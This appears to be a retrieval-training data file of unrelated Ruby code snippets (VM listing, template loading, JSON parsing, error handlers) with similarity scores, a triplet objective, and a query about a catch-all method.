"def get_onevms(ping = false)\n\n vms = []\n\n begin\n #xml_parser = XML::Parser.string( %x[ cat /tmp/onevm-list.xml ] )\n xml_parser = XML::Parser.string( %x[ onevm list -x ] )\n xml_doc = xml_parser.parse\n rescue\n #return nil\n return []\n end\n\n while xml_doc.next?\n puts xml_doc.next.class\n end\n\n xml_doc.find('//VM_POOL/VM').each do |xml_vm|\n\n # These must exist\n xml_id = xml_vm.find_first('ID') or next\n xml_name = xml_vm.find_first('NAME') or next\n xml_stat = xml_vm.find_first('STATE') or next\n xml_lcm_stat = xml_vm.find_first('LCM_STATE') or next\n\n xml_hyperv = xml_vm.find_first('HISTORY_RECORDS/HISTORY/HOSTNAME')\n\n addr = []\n xml_vm.find('TEMPLATE/NIC').each do |xml_nic|\n xml_ip = xml_nic.find_first('IP') or next\n ip = xml_ip.content\n addr << {\n :ip => ip,\n :host => get_fqdn(ip),\n :ping => ping ? ping?(ip) : nil,\n }\n end\n\n vm = {\n :id => xml_id.content.to_i,\n :name => xml_name.content,\n :hyperv => xml_hyperv ? xml_hyperv.content : '',\n :stat => xml_stat.content.to_i,\n :lcmstat => xml_lcm_stat.content.to_i,\n :addr => addr\n }\n\n vms << vm\n\n end\n\n return vms\n\nend",
"def parse_tastings\n scents = Array.new\n \n self.tastings.each do |tasting|\n scents << JSON.parse(tasting.json_string)\n end\n \n scents\n end",
"def getVMs\n @vms = VirtualMachine.all(@ip_address)\n end",
"def get_job_templates\n dprint \"get /api/v1/job_templates\"\n resp = @rest['/api/v1/job_templates'].get\n dprint resp\n # ruby's implicit return\n JSON.parse(resp)[\"results\"]\n end",
"def load_nodes\n yaml_dir = File.expand_path(\n \"../../govuk-provisioning/vcloud-launcher/*integration_carrenza/\",\n __FILE__\n )\n yaml_local = File.expand_path(\"../nodes.local.yaml\", __FILE__)\n\n # DEPRECATED\n json_local = File.expand_path(\"../nodes.local.json\", __FILE__)\n if File.exists?(json_local)\n $stderr.puts \"ERROR: nodes.local.json is deprecated. Please convert it to YAML\"\n exit 1\n end\n\n unless Dir.glob(yaml_dir).any?\n puts \"Unable to find nodes in 'govuk-provisioning' repo\"\n puts\n return {}\n end\n\n yaml_files = Dir.glob(\n File.join(yaml_dir, \"*.yaml\")\n )\n\n nodes = Hash[\n yaml_files.flat_map { |yaml_file|\n YAML::load_file(yaml_file).fetch('vapps').map { |vapp|\n name = vapp.fetch('name')\n template = vapp.fetch('vapp_template_name')\n vm = vapp.fetch('vm')\n network = vm.fetch('network_connections').first\n vdc = network.fetch('name').downcase\n\n name = \"#{name}.#{vdc}\"\n config = {\n 'ip' => network.fetch('ip_address'),\n }\n\n config['box_dist'] = ['precise', 'trusty', 'xenial'].find { |dist| vapp['vapp_template_name'].include? dist }\n\n [name, config]\n }\n }\n ]\n\n # Local YAML file can override node properties like \"memory\". It should\n # look like:\n #\n # ---\n # machine1.vdc1:\n # memory: 128\n # machine2.vdc2:\n # memory: 4096\n #\n if File.exists?(yaml_local)\n nodes_local = YAML::load_file(yaml_local)\n nodes_local.each { |k,v| nodes[k].merge!(v) if nodes.has_key?(k) }\n end\n\n Hash[nodes.sort]\nend",
"def vm_from_objects(objects)\n vm = nil\n objects.each do |object|\n if object[:kind] == \"VirtualMachine\"\n vm = object\n end\n end\n # make sure there is one\n raise ::Fog::Kubevirt::Errors::ServiceError if vm.nil?\n vm\n end",
"def collect_roots\n\n\t\t# Array to return\n\t\troots = Array.new\n\t\t# For each template\n\t\ttemplates.each do |key, val|\n\t\t\t# Push to array if root\n\t\t\troots << val if template_root? key\n\t\tend\n\t\t\n\t\t# Return results\n\t\troots\n\n\tend",
"def parse_results(json:)\n results = []\n return results unless json.present? && json.fetch('items', []).any?\n\n json['items'].each do |item|\n next unless item['id'].present? && item['name'].present?\n\n results << {\n ror: item['id'].gsub(/^#{landing_page_url}/, ''),\n name: org_name(item: item),\n sort_name: item['name'],\n url: item.fetch('links', []).first,\n language: org_language(item: item),\n fundref: fundref_id(item: item),\n abbreviation: item.fetch('acronyms', []).first\n }\n end\n results\n end",
"def to_parsed\n map {|resource_template| resource_template.to_hash}\n end",
"def generic_objects_for_object_template(name, params = {})\n api_call(:get, \"/object_templates/#{name}/generic_objects\", params) do |response|\n Calculated::Models::ObjectTemplate.new(response[\"object_template\"])\n end\n end",
"def list\n @client.call(method: :get, path: 'templates')\n end",
"def list\n @list ||= raw_list.map do |vm|\n if vm.tags && vm.tags['name'] && vm.tags['name'].index(environment)\n Machine.new({\n state: vm.state.to_sym,\n name: vm.tags[\"name\"],\n user: user,\n dns: vm.dns_name,\n public_ip: vm.public_ip_address,\n private_ip: vm.private_ip_address,\n preferred_ip: vm.private_ip_address,\n key: build_keypath,\n raw: vm\n })\n end\n end.compact\n end",
"def all_vms_and_templates\n descendants(:of_type => 'VmOrTemplate')\n end",
"def get_pvm_instances\n pvm_instances = get(\"cloud-instances/#{guid}/pvm-instances\")[\"pvmInstances\"] || []\n\n pvm_instances.map do |pvm_instance|\n get_pvm_instance(pvm_instance[\"pvmInstanceID\"])\n end\n end",
"def each_template\n if @processed.nil?\n @processed, @rest = templates.keys.partition { |k| k.to_s.include? \".\" }\n end\n\n @processed.each do |k|\n yield k, templates[k]\n end\n\n @rest.each do |k|\n yield k, templates[k]\n end\n end",
"def parse_results(json:)\n results = []\n return results unless json.present? && json.fetch('items', []).any?\n\n json['items'].each do |item|\n next unless item['id'].present? && item['name'].present?\n\n results << {\n ror: item['id'],\n name: item['name'],\n url: item.fetch('links', []).first,\n domain: org_website(item: item),\n country: org_country(item: item),\n abbreviation: item.fetch('acronyms', []).first,\n types: item.fetch('types', []),\n aliases: item.fetch('aliases', []),\n acronyms: item.fetch('acronyms', []),\n labels: item.fetch('labels', [{}]).map { |lbl| lbl[:label] }.compact\n }\n end\n results\n end",
"def list\n @client.make_request :get, templates_path\n end",
"def scan(io)\n if io.kind_of?(IO)\n json = JSON::parse(io.readlines.join(\"\\n\"))\n io.rewind\n else\n json = JSON::parse(io)\n end\n # rewind the IO so that it can be processed again using the same handle\n template = CFDoc::Model::StackTemplate.new\n template.description = json['Description']\n template.version = json['AWSTemplateFormatVersion']\n json['Parameters'].each do |json_param|\n param = parse_parameter(json_param)\n template << param unless param.nil?\n end if json['Parameters']\n json['Mappings'].each do |json_mapping|\n mapping = parse_mapping_set(json_mapping)\n template << mapping unless mapping.nil?\n end if json['Mappings']\n json['Resources'].each do |json_res|\n # a Resource is an array of [name, {fields_hash}]\n res = parse_resource(json_res)\n template << res unless res.nil?\n end if json['Resources']\n json['Outputs'].each do |json_output|\n output = parse_output(json_output)\n template << output unless output.nil?\n end if json['Outputs']\n io.rewind if io.kind_of?(IO)\n template\n end",
"def objects\n @objects ||= begin\n raw_objects = @data['objects'] || []\n raw_objects.map do |object|\n if object.is_a?(Hash)\n # TODO: assumes it has the right keys.\n object\n else\n {\n item: object,\n description: nil\n }\n end\n end\n end\n end",
"def veg_create_objects(data)\n data.each do | veg_hash |\n VegInfo::Vegetable.new(veg_hash)\n end\n end",
"def get_vacancies( urls )\n vacancies = []\n urls.each do |url|\n vacancies << parse_json( url )\n end\n\n return vacancies\nend",
"def pages_data\n\n config_data = get_config_data\n\n all_data_files = Dir.glob(\"../#{ROOT_DIR}/lib/views/source/#{config_data[\"templates_page\"]}/**/*.json\")\n\n pageData_files = []\n\n all_data_files.map { |data| \n\n data_name = data.split(\"/\")[-1]\n pageData_files.push(\n {\n \"file_name\": data_name,\n \"link_name\": data_name.sub(\"~\", \"__\").chomp(\".json\"),\n \"label\": data_name.sub(\"~\", \" \").chomp(\".json\")\n }\n )\n }\n\n return pageData_files\n end",
"def load\n @all = [] #contains all template objects\n\n template_dir = Gem.datadir('moo') + '/templates/'\n\n template_files = Dir.entries(template_dir).reject do |t|\n t == '.' || t == '..'\n end\n\n template_files.each do |f|\n path = template_dir + f\n @all << Template.new(path)\n end\n end",
"def getTasks(response)\r\n\t\t\t\ttasks_all_json = JSON.parse response\r\n\t\t\t\ttasks_all_array = tasks_all_json[\"tasks\"]\r\n\t\t\t\ttasks_class_array = Array.new\r\n\t\t\t\tfor i in 0...tasks_all_array.length\r\n\t\t\t\t\ttasks_class_array.push(jsonToTask(tasks_all_array[i]))\r\n\t\t\t\tend\r\n\t\t\t\treturn tasks_class_array\r\n\t\t\tend",
"def load_vms!\n # This is hardcoded for now.\n provider = nil\n Vagrant.plugin(\"1\").registered.each do |plugin|\n provider = plugin.provider.get(:virtualbox)\n break if provider\n end\n\n raise \"VirtualBox provider not found.\" if !provider\n\n # Load all the virtual machine instances.\n result = {}\n config.vms.each do |name|\n vm_config = config.for_vm(name)\n box = boxes.find(vm_config.vm.box, :virtualbox)\n\n result[name] = Vagrant::Machine.new(name, provider, vm_config, box, self)\n end\n\n result\n end",
"def read_vms\n end",
"def parse(json_file)\r\n CoreLogger.instance.logger.info(\"JsonTools - parse\") { \"Parsing du fichier '#{json_file}'\" }\r\n cars_array = nil\r\n rentals_array = nil\r\n begin\r\n # Check file\r\n check_json_file_path(json_file)\r\n json_data = JSON.parse(File.read(json_file))\r\n # Binding json data to obj\r\n cars_array = json_data_cars_to_array json_data\r\n rentals_array = json_data_rentals_to_array json_data\r\n rescue JSON::ParserError => j\r\n CoreLogger.instance.logger.info(\"JsonTools - parse\") { \"Parsing du fichier '#{json_file}'\" }\r\n raise JsonLoaderTechnicalException.new(\"JsonLoader - parse : Structural problem in json file.\\nJSON::ParserError => #{j.message}\")\r\n rescue JsonLoaderTechnicalException => t\r\n raise t\r\n rescue JsonLoaderFonctionalException => f\r\n raise f\r\n end\r\n return cars_array, rentals_array\r\n end",
"def vms\n vms = []\n if current_user.admin?\n vms = object.vms\n elsif current_user.lead?\n vms = object.vms.select { |vm| vm.project.users.include?(current_user) }\n elsif current_user.dev?\n vms = object.vms.select { |vm| vm.user.id == current_user.id || vm.is_jenkins }\n else\n vms = object.vms.select { |vm| vm.user.id == current_user.id }\n end\n vms.map { |v| v.id }\n end",
"def vms\n vms = []\n if current_user.admin?\n vms = object.vms\n elsif current_user.lead?\n vms = object.vms.select { |vm| vm.project.users.include?(current_user) }\n elsif current_user.dev?\n vms = object.vms.select { |vm| vm.user.id == current_user.id || vm.is_jenkins }\n else\n vms = object.vms.select { |vm| vm.user.id == current_user.id }\n end\n vms.map { |v| v.id }\n end",
"def template_object_sets\n\t\t\toutput = []\n\t\t\tset = xpath '//template_object_set'\n\t\t\tset.each do |node|\n\t\t\t\toutput << node\n\t\t\tend\n\t\t\n\t\t\treturn output\n\t\tend",
"def get_all_course_templates\n path = \"/d2l/api/lp/#{$lp_ver}/orgstructure/6606/descendants/?ouTypeId=2\"\n _get(path)\n # return: JSON array of course template data objects\nend",
"def templates_from_project\n list = []\n dirs = Dir.glob(File.join(output, LOCAL_DIRECTORY, '*/'))\n dirs = dirs.uniq.map{ |d| d.chomp('/') }\n dirs.each do |dir|\n name = dir.sub(File.join(output, LOCAL_DIRECTORY)+'/', '')\n list << Template.new(name, dir, :type=>:project)\n end\n list\n end",
"def instances\n instances = []\n JSON.parse(resource['/instances'].get)[\"instances\"].each do |i|\n instances << Instance.new(i)\n end\n return instances\n end",
"def populate\n file = File.read(json_file)\n storage = JSON.parse(file, :symbolize_names => true)\n\n @hashes = storage[:hashes]\n convert if @hashes.is_a? Array\n\n @hashes\n end",
"def backupAllVolumes(profile,region,daystokeep,name,json,tags)\n parsed = JSON.parse(json)\n parsed[\"Volumes\"].each do |volume|\n backupVolume(profile,region,volume[\"VolumeId\"],daystokeep,name,tags)\n end\nend",
"def list_templates(args = {})\n filter = args[:filter] || 'featured'\n params = {\n 'command' => 'listTemplates',\n 'templateFilter' => filter\n }\n params['projectid'] = args[:project_id] if args[:project_id]\n params['zoneid'] = args[:zone_id] if args[:zone_id]\n \n json = send_request(params)\n json['template'] || []\n end",
"def fetch_source_vms(machines)\n machines.inject({}) do |acc, machine|\n acc[machine.name] = API::Vm.fetch(env, machine.provider_config.vm_url)\n acc\n end\n end",
"def parse_json_info\n require 'json'\n\n data = IO.read(File.expand_path(@json_file))\n json = JSON.parse(data, :create_additions => false)\n\n array = []\n\n if json['subscriptions']\n json['subscriptions'].each{ |sub|\n array << Subscription.new do |s|\n s.source = @json_file\n s.subscription_id = sub['id']\n s.subscription_name = sub['name']\n s.default = sub['isDefault'] || false\n s.environment_name = sub['environmentName']\n s.management_endpoint = sub['managementEndpointUrl']\n s.registered_providers = sub['registeredProviders']\n s.management_certificate = sub['managementCertificate']['cert'] +\n sub['managementCertificate']['key']\n end\n }\n end\n\n array\n end",
"def details\n response = get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end",
"def vm_parses(parser, input)\n result = parser.dup.parse(input)\n \n vm_result = vm_parse(parser, input)\n \n vm_result.should == result\n end",
"def parse_yaml(path)\n require 'yaml'\n\n str = Nitro::Template.new.render(File.read(path))\n\n if yaml = YAML::load(str)\n for name, data in yaml\n self[name] = instantiate(data)\n end\n end\n\n # sort the objects.\n\n str.scan(/^(\\w*?):$/).each do |key|\n @objects << self[key.to_s]\n end\n end",
"def generate_from_templates\r\n %w{package.json _config.yml}.each do |file|\r\n template file\r\n end\r\n end",
"def init_instances\n instances = []\n next_token = nil\n all_records_retrieved = false\n\n until all_records_retrieved\n response = @@client.describe_instances({\n next_token: next_token\n })\n next_token = response.next_token\n all_records_retrieved = next_token.nil? || next_token.empty?\n instances << response.reservations.map { |r| r.instances }\n end\n\n instances.flatten\n end",
"def email_templates\n raw = read_attribute(:email_templates)\n return [] if raw.blank?\n arr = []\n raw.split(/[\\n\\|]/).each do |name| \n t = EmailTemplate.find_or_create_by_name(name)\n t.update_attribute(:from, offering.contact_email) if t.from.blank?\n arr << t\n end\n arr.compact\n end",
"def convert_all_pokemon\n pokemon_json = []\n @data.each_with_index do |pokemons, id|\n forms = []\n pokemon_json << {\n regionalId: pokemons.first.id_bis,\n db_symbol: pokemons.first.db_symbol || :__undef__,\n id: id,\n forms: forms\n }\n pokemons.each { |pokemon| forms << convert_single_pokemon(pokemon) if pokemon }\n end\n return pokemon_json\n end",
"def details\n response = CreateSend.get \"/templates/#{template_id}.json\", {}\n Hashie::Mash.new(response)\n end",
"def data\n templates = @templates.deep_clone\n\n templates.each_pair do |name, value|\n if value['bindings']\n value['bindings'].each_pair do |number, binding|\n value['bindings'][number] = binding.map { |code| eval(code) }\n end\n end\n end\n\n templates\n end",
"def items\n\t\tresponse = self.get('items').body\n\t\titems = JSON.parse(response)\n\t\tparse_items(items)\n\t\treturn items\n\tend",
"def index\n @exercise_templates = ExerciseTemplate.all\n render json: @exercise_templates\n end",
"def customize_vapp_template(vm_params, vapp_net_params)\n source_vms = vm_params.map do |_, vm_opts|\n src_vm = {\n :vm_id => \"vm-#{vm_opts[:vm_id]}\",\n :networks => parse_nics(vm_opts),\n :hardware => {\n :cpu => { :num_cores => vm_opts['num_cores'], :cores_per_socket => vm_opts['cores_per_socket'] },\n :memory => { :quantity_mb => vm_opts['memory_mb'] },\n :disk => parse_disks(vm_opts)\n },\n :guest_customization => parse_guest_customization(vm_opts)\n }\n src_vm[:name] = vm_opts[\"instance_name\"] if vm_opts.key?(\"instance_name\")\n src_vm\n end\n\n vapp_networks = vapp_net_params.map do |_, opts|\n {\n :name => opts[:vapp_net_name],\n :parent => opts['parent'],\n :fence_mode => opts['fence_mode'],\n :subnet => parse_subnets(opts)\n }\n end\n\n {\n :source_vms => source_vms,\n :vapp_networks => vapp_networks\n }\n end",
"def getnodes\n nodes = []\n\n pattern = @netip.split('.')[0..-2] * '.'\n File.open('Vagrantfile', 'r'){|f|\n f.readlines.each{|x|\n if x =~ /#{pattern}.*/\n nodes << Node.new(x[/k8snode[\\d]+/], x[/#{pattern}\\.\\d+/])\n end\n }\n }\n\n return nodes\n end",
"def aws_read_instances\n list = JSON.parse( IO.read( aws_instances_json ), :symbolize_names => true )\n list.each do |inst|\n inst[:roles] = ( inst[:roles] || [] ).map { |r| r.to_sym }\n end\n @aws_instances = list.sort { |p,n| p[:name] <=> n[:name] }\n end",
"def read_all template = Object\n matcher = Matcher.new(worker.make_template(template), self, :all => true)\n worker << matcher\n a = []\n while tuple = matcher.wait ## inefficient?\n yield tuple if block_given?\n a << tuple\n end\n a\n end",
"def read_all template = not_meta\n matcher = Matcher.new(worker.make_template(template), self, :all => true)\n worker << matcher\n a = []\n while tuple = matcher.wait ## inefficient to wait one at a time?\n yield tuple if block_given?\n a << tuple\n end\n a\n end",
"def buildProducts(productObject)\n\n retArray = Array.new\n # iterate over every product json object and parse it into Product class, then add it to the returned array\n productObject.each do |obj|\n new_product = Product.new(obj['title'], obj['amount'])\n retArray.push(new_product)\n end\n return retArray\nend",
"def host_templates\n @host_templates ||= ZerigoDNS::HostTemplate.all(zone_template_id: id)\n end",
"def vault_objects(vault_id)\n request_get(\"/vault/#{vault_id}\")\n end",
"def get_vapp_template(vAppId)\n params = {\n 'method' => :get,\n 'command' => \"/vAppTemplate/vappTemplate-#{vAppId}\"\n }\n\n response, headers = send_request(params)\n\n vapp_node = response.css('VAppTemplate').first\n if vapp_node\n name = vapp_node['name']\n status = convert_vapp_status(vapp_node['status'])\n end\n\n description = response.css(\"Description\").first\n description = description.text unless description.nil?\n\n ip = response.css('IpAddress').first\n ip = ip.text unless ip.nil?\n\n vms = response.css('Children Vm')\n vms_hash = {}\n\n vms.each do |vm|\n vms_hash[vm['name']] = {\n :id => vm['href'].gsub(\"#{@api_url}/vAppTemplate/vm-\", '')\n }\n end\n\n # TODO: EXPAND INFO FROM RESPONSE\n { :name => name, :description => description, :vms_hash => vms_hash }\n end",
"def scrape_titles(json_file)\n new_titles = []\n json_file.each do |prop|\n current_buffer = []\n if prop[1].is_a? (Hash)\n current_buffer << prop[0]\n new_titles = parse_hash_titles(new_titles,current_buffer,prop[1])\n else\n unless prop[1].nil?\n new_titles << prop[0]\n end\n end\n end\n return new_titles\n end",
"def configure_vms(config)\n $vms.each do |key,vm_config|\n # pp vm_config\n config.vm.define key, autostart: vm_config['autostart'] || false do |node|\n # node.ssh.insert_key = true\n # node.ssh.username = \"toto\"\n \n configure_node(vm_config, node)\n vm_config_copy = object_clone(vm_config)\n vm_config_copy.delete('packer')\n # generate packer\n packer_gen(vm_config)\n log_to_file(\"vms/#{vm_config['lib']['namespace']}/#{vm_config['lib']['key']}.yaml\", vm_config_copy.sort_by_key(true).to_h.to_yaml)\n end\n end\nend",
"def load_config\n projects = Array.new\n Dir.glob(\"#{@config_path}/*.json\") do |cf|\n if !cf.end_with?(\"template.json\")\n projects << Project.new(cf)\n end\n end\n projects\nend",
"def from_json json\n template = new\n if json[:seats]\n template.seats = json[:seats].map { |s| s[:position] }\n end\n\n if json[:starting_seats]\n template.starting_seats = json[:starting_seats]\n end\n\n if json[:matches]\n template.matches = json[:matches]\n end\n\n template\n end",
"def parse(content)\n @response = []\n if ( content.respond_to?(:body) )\n @response = JSON.parse(content.body)\n else\n @response = JSON.parse(content)\n end\n @complete_items = @response[\"items\"]\n @raw_items = @response[\"items\"].map{|i| i['raw']}\n end",
"def templates\n @templates ||= (\n list = []\n list.concat templates_from_project\n list.concat templates_from_remotes\n list.concat templates_from_plugins\n list.sort_by{ |t| t.name }\n )\n end",
"def parse_vocabulary1\n json = File.read(VOCABULARY_FILE)\n object = JSON.parse(json)\n result = []\n (1..6).each do |i|\n result.push(object[\"LEVEL#{i}\"][\"words\"])\n end\n result\n end",
"def load_scraped_objects\n {}.tap do |objects|\n @store.read_multi(@store.entries).each do |properties|\n object = load_scraped_object(properties)\n objects[object._id] = object\n end\n end\n end",
"def get_vapp_template(vAppId)\n params = {\n 'method' => :get,\n 'command' => \"/vAppTemplate/vappTemplate-#{vAppId}\"\n }\n\n response, headers = send_request(params)\n\n vapp_node = response.css('VAppTemplate').first\n if vapp_node\n name = vapp_node['name']\n status = convert_vapp_status(vapp_node['status'])\n end\n\n description = response.css(\"Description\").first\n description = description.text unless description.nil?\n\n ip = response.css('IpAddress').first\n ip = ip.text unless ip.nil?\n\n vms = response.css('Children Vm')\n vms_hash = {}\n\n vms.each do |vm|\n vms_hash[vm['name']] = {\n :id => vm['href'].gsub(/.*\\/vAppTemplate\\/vm\\-/, \"\")\n }\n end\n\n { :name => name, :description => description, :vms_hash => vms_hash }\n end",
"def mcget_templates\n # setup_mcapi.folders.list(\"template\")\n setup_mcapi.templates.list({user: true},{include_drag_and_drop: true})\n end",
"def get_template(matching_options_hash, matching_tags_hash)\n log(:info, \"Processing get_template...\", true)\n\n template_search_by_guid = matching_options_hash[:guid] rescue nil\n template_search_by_name = matching_options_hash[:name] || matching_options_hash[:template] rescue nil\n template_search_by_product = matching_options_hash[:os] rescue nil\n templates = []\n\n unless template_search_by_guid.nil?\n # Search for templates tagged with 'prov_scope' => 'all' & match the guid from option_?_guid\n if templates.empty?\n log(:info, \"Searching for templates tagged with 'prov_scope' => 'all' that match guid: #{template_search_by_guid}\")\n templates = $evm.vmdb('miq_template').all.select do |template|\n template.ext_management_system && template.tagged_with?('prov_scope', 'all') && template.guid == template_search_by_guid\n end\n end\n end\n unless template_search_by_name.nil?\n # Search for templates that tagged with 'prov_scope' => 'all' & match the name from option_?_template || option_?_name - then load balance them across different providers based on vm count\n if templates.empty?\n log(:info, \"Searching for templates tagged with 'prov_scope' => 'all' that are named: #{template_search_by_name}\")\n templates = $evm.vmdb('miq_template').all.select do |template|\n template.ext_management_system && template.tagged_with?('prov_scope', 'all') && template.name == template_search_by_name\n end.sort { |template1, template2| template1.ext_management_system.vms.count <=> template2.ext_management_system.vms.count }\n end\n end\n unless template_search_by_product.nil?\n # Search for templates tagged with 'prov_scope' => 'all' & product_name include option_?_os (I.e. 'windows', red hat') - then load balance them across different providers based on vm count\n if templates.empty?\n log(:info, \"Searching for templates tagged with 'prov_scope' => 'all' that inlcude product: #{template_search_by_product}\")\n templates = $evm.vmdb('miq_template').all.select do |template|\n template.ext_management_system && template.tagged_with?('prov_scope', 'all') && template.operating_system[:product_name].downcase.include?(template_search_by_product)\n end.sort { |template1, template2| template1.ext_management_system.vms.count <=> template2.ext_management_system.vms.count }\n end\n end\n raise \"No templates found\" if templates.empty?\n\n # get the first template in the list\n template = templates.first\n log(:info, \"Found template: #{template.name} product: #{template.operating_system[:product_name].downcase rescue 'unknown'} guid: #{template.guid} on provider: #{template.ext_management_system.name}\")\n matching_options_hash[:name] = template.name\n matching_options_hash[:guid] = template.guid\n log(:info, \"Processing get_template...Complete\", true)\n end",
"def watch_virtual_machine_templates(opts = {})\n kubevirt_client.watch_virtual_machine_templates(opts)\n end",
"def get_policy_templates\n @command = :get_policy_templates\n # get the policy templates from the RESTful API (as an array of objects)\n uri = URI.parse @uri_string + '/templates'\n result = hnl_http_get(uri)\n unless result.blank?\n # convert it to a sorted array of objects (from an array of hashes)\n sort_fieldname = 'template'\n result = hash_array_to_obj_array(expand_response_with_uris(result), sort_fieldname)\n end\n # and print the result\n print_object_array(result, \"Policy Templates:\", :style => :table)\n end",
"def tags\n\t\tresponse = self.server.run_with_json_template( :tags )\n\t\treturn response.flatten.map {|tag| Hglib::Repo::Tag.new(self, **tag) }\n\tend",
"def planets\n data = JSON.parse(open(\"http://swapi.co/api/planets\").read)\n @results = data[\"results\"]\n end",
"def load_vms_dir(dirpath, vagrant_config)\n Dir.glob(dirpath) do |filepath|\n namespace = File.basename(filepath, \".*\") # stackfilename\n vms_file = load_yaml(filepath)\n vms_file.each do |key, value| \n vm_config = value\n vm_config['lib'] = vm_config['lib'] || {}\n vm_config['lib']['namespace'] = namespace\n vm_config['lib']['key'] = \"#{key}\"\n vm_hash_id = \"#{vm_config['lib']['key']}.#{vm_config['lib']['namespace']}\"\n # puts \"resolving #{vm_hash_id}\"\n unless value['definition'].to_s.empty?\n if $definitions[value['definition']]\n # puts \"#{vm_hash_id} has #{value['definition']}\"\n definition = $definitions[value['definition']]\n vm_config = definition.deep_merge(vm_config)\n end\n end\n if $vms[vm_hash_id]\n # puts \"merging #{vm_hash_id}\"\n vm_config = $vms[vm_hash_id].deep_merge(vm_config)\n else\n # puts \"not merging #{vm_hash_id}\"\n end\n if $user\n vm_config = $user.deep_merge(vm_config)\n end\n $vms[vm_hash_id] = vm_config\n end\n end\nend",
"def main(json)\n files = JSON.parse(json).fetch('files')\n dupes = get_name_conflicts(files)\n dupes.each do |list|\n # resolve_conflict(list)\n list.each {|file| puts file['path']}\n puts\n end\nend",
"def extract_template_vars\n return self.command.scan(/{{([a-z0-9\\-_]+?)}}/i).flatten\n end",
"def index\n @templates = Template.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @templates }\n end\n end"
] | [
"0.71686256",
"0.6681401",
"0.5961826",
"0.59298587",
"0.5920288",
"0.58270335",
"0.56836045",
"0.56644773",
"0.56527555",
"0.548605",
"0.5467821",
"0.5452085",
"0.54150885",
"0.53878874",
"0.5383206",
"0.5383206",
"0.53668404",
"0.5338923",
"0.53160316",
"0.52626276",
"0.5208093",
"0.5195837",
"0.51846546",
"0.5184233",
"0.5179533",
"0.5165717",
"0.51441216",
"0.51195115",
"0.50898564",
"0.50702024",
"0.50663126",
"0.5055346",
"0.5042413",
"0.5036839",
"0.5017645",
"0.50098944",
"0.5005147",
"0.5002014",
"0.50009257",
"0.49968272",
"0.499629",
"0.49894813",
"0.49883953",
"0.4979554",
"0.49590325",
"0.49582034",
"0.49558192",
"0.49528316",
"0.49335015",
"0.49119675",
"0.49085018",
"0.49085018",
"0.4872681",
"0.48577046",
"0.48466474",
"0.48451802",
"0.48429012",
"0.4821148",
"0.48208907",
"0.48140925",
"0.4813409",
"0.48088062",
"0.48072165",
"0.4806439",
"0.48011893",
"0.4800843",
"0.47904506",
"0.4783587",
"0.47807485",
"0.4773422",
"0.47727284",
"0.47720382",
"0.4766881",
"0.47597513",
"0.4757613",
"0.47541338",
"0.47500747",
"0.47470602",
"0.47371486",
"0.473016",
"0.4719132",
"0.47163096",
"0.47108984",
"0.4710844",
"0.47057712",
"0.47037053",
"0.46935287",
"0.4688521",
"0.46864504",
"0.4684698",
"0.46810398",
"0.46740302",
"0.46730593",
"0.46670675",
"0.46587077",
"0.46578977",
"0.46554556",
"0.46541125",
"0.46539724",
"0.46339422"
] | 0.6927358 | 1 |
Catch all for the method | def liquid_method_missing(method)
return nil unless @context&.strict_variables
raise Liquid::UndefinedDropMethod, "undefined method #{method}"
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def catch_exceptions; end",
"def handlers; end",
"def handlers; end",
"def handlers; end",
"def exception_handler; end",
"def catch\n puts \"This is an instance method\"\n end",
"def exceptions\n end",
"def _catch_warden(&block); end",
"def catch _obj, _args\n \"_obj catch _args;\" \n end",
"def exceptions; end",
"def handler; end",
"def handler; end",
"def handler_method; end",
"def methods() end",
"def errorhandling\n end",
"def method_missing(method_name, *args, &block)\n if respond_to_missing?(method_name)\n handle_known_exceptions do\n @target.send(method_name, *args, &block)\n end\n else\n super\n end\n end",
"def any_exception_captured=(_arg0); end",
"def handlers=(_arg0); end",
"def each_exception_handler(&iterator); model.each_exception_handler(&iterator) end",
"def handle(_request)\n fail NotImplementedError\n end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def method; end",
"def exception_handler(ex)\n \nend",
"def exception; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def exception; end",
"def handle_exception(exception)\n end",
"def each_exception_handler(&iterator)\n model.each_exception_handler(&iterator)\n end",
"def handle_perform_error(_e); end",
"def perform\n raise Errors::AbstractMethod\n end",
"def receive(*args, &block)\n begin\n super(*args, &block)\n rescue Mongoid::Errors::Validations => e\n # XXX: I also don't understand why I can't just raise BadRequest and have that Dino::Base error handlers\n # catch it.\n respond_to_error(400, {:errors => e.message})\n# raise BadRequest, e.message\n rescue Mongoid::Errors::DocumentNotFound => e\n respond_to_error(404, {:errors => e.message})\n# raise NotFound\n end\n end",
"def handled!; @handled = true; end",
"def ignore_method_conflicts; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def methods; end",
"def all_indicators_do method, *args\n Dir[File.dirname(__FILE__) + '/model/indicator/*.rb'].each do |file| require file \n $logger.info \"loaded indicator #{file}\"\n end\n #threads = [] \n Indicator.subclasses.each do |indicator|\n #threads << Thread.new do\n instance = indicator.instance\n begin\n $logger.info \"#{method} indicator #{instance.get_id}\"\n instance.method(method).call(*args)\n rescue Exception => e\n puts \"caught exception in #{instance.get_id}.add_history : #{e.message} \\n #{e.backtrace}\"\n end\n #end\n end\n #ThreadsWait.all_waits(*threads)\nend",
"def action_missing(*)\n end",
"def method_missing(*args)\n\t\t\traise \"Method missing: #{args.inspect}\"\n\t\tend",
"def method_missing(meth, *args, &block)\n\n end",
"def http_method\n raise \"Implement in child class\"\n end",
"def handle_all_events\r\n @connection.set_generic_handler do |event|\r\n begin\r\n handle_event(event)\r\n rescue => exception\r\n $stderr.puts exception.inspect\r\n $stderr.puts exception.backtrace\r\n end\r\n end\r\n true\r\n end",
"def respond(); end",
"def _all; end",
"def dispatch\n raise NotImplementedError\n end",
"def ignore_method_conflicts=(_arg0); end",
"def handle; end",
"def method_missing(s, *args, &b)\n super unless w.respond_to?(s)\n begin\n w.send(s, *args, &b)\n rescue Wesabe::Request::RequestFailed => e\n puts e.response.body\n raise e\n end\nend",
"def consume_all\n end",
"def consume_all\n end",
"def handle_generic_error(exception)\n end",
"def method\n\t\t# code code\n\tend",
"def call(*)\n raise NotImplementedError\n end",
"def handle\n raise \"Not implemented yet!\"\n end",
"def _handle_action_missing(*args); end",
"def my_method\n\nrescue\n\nend",
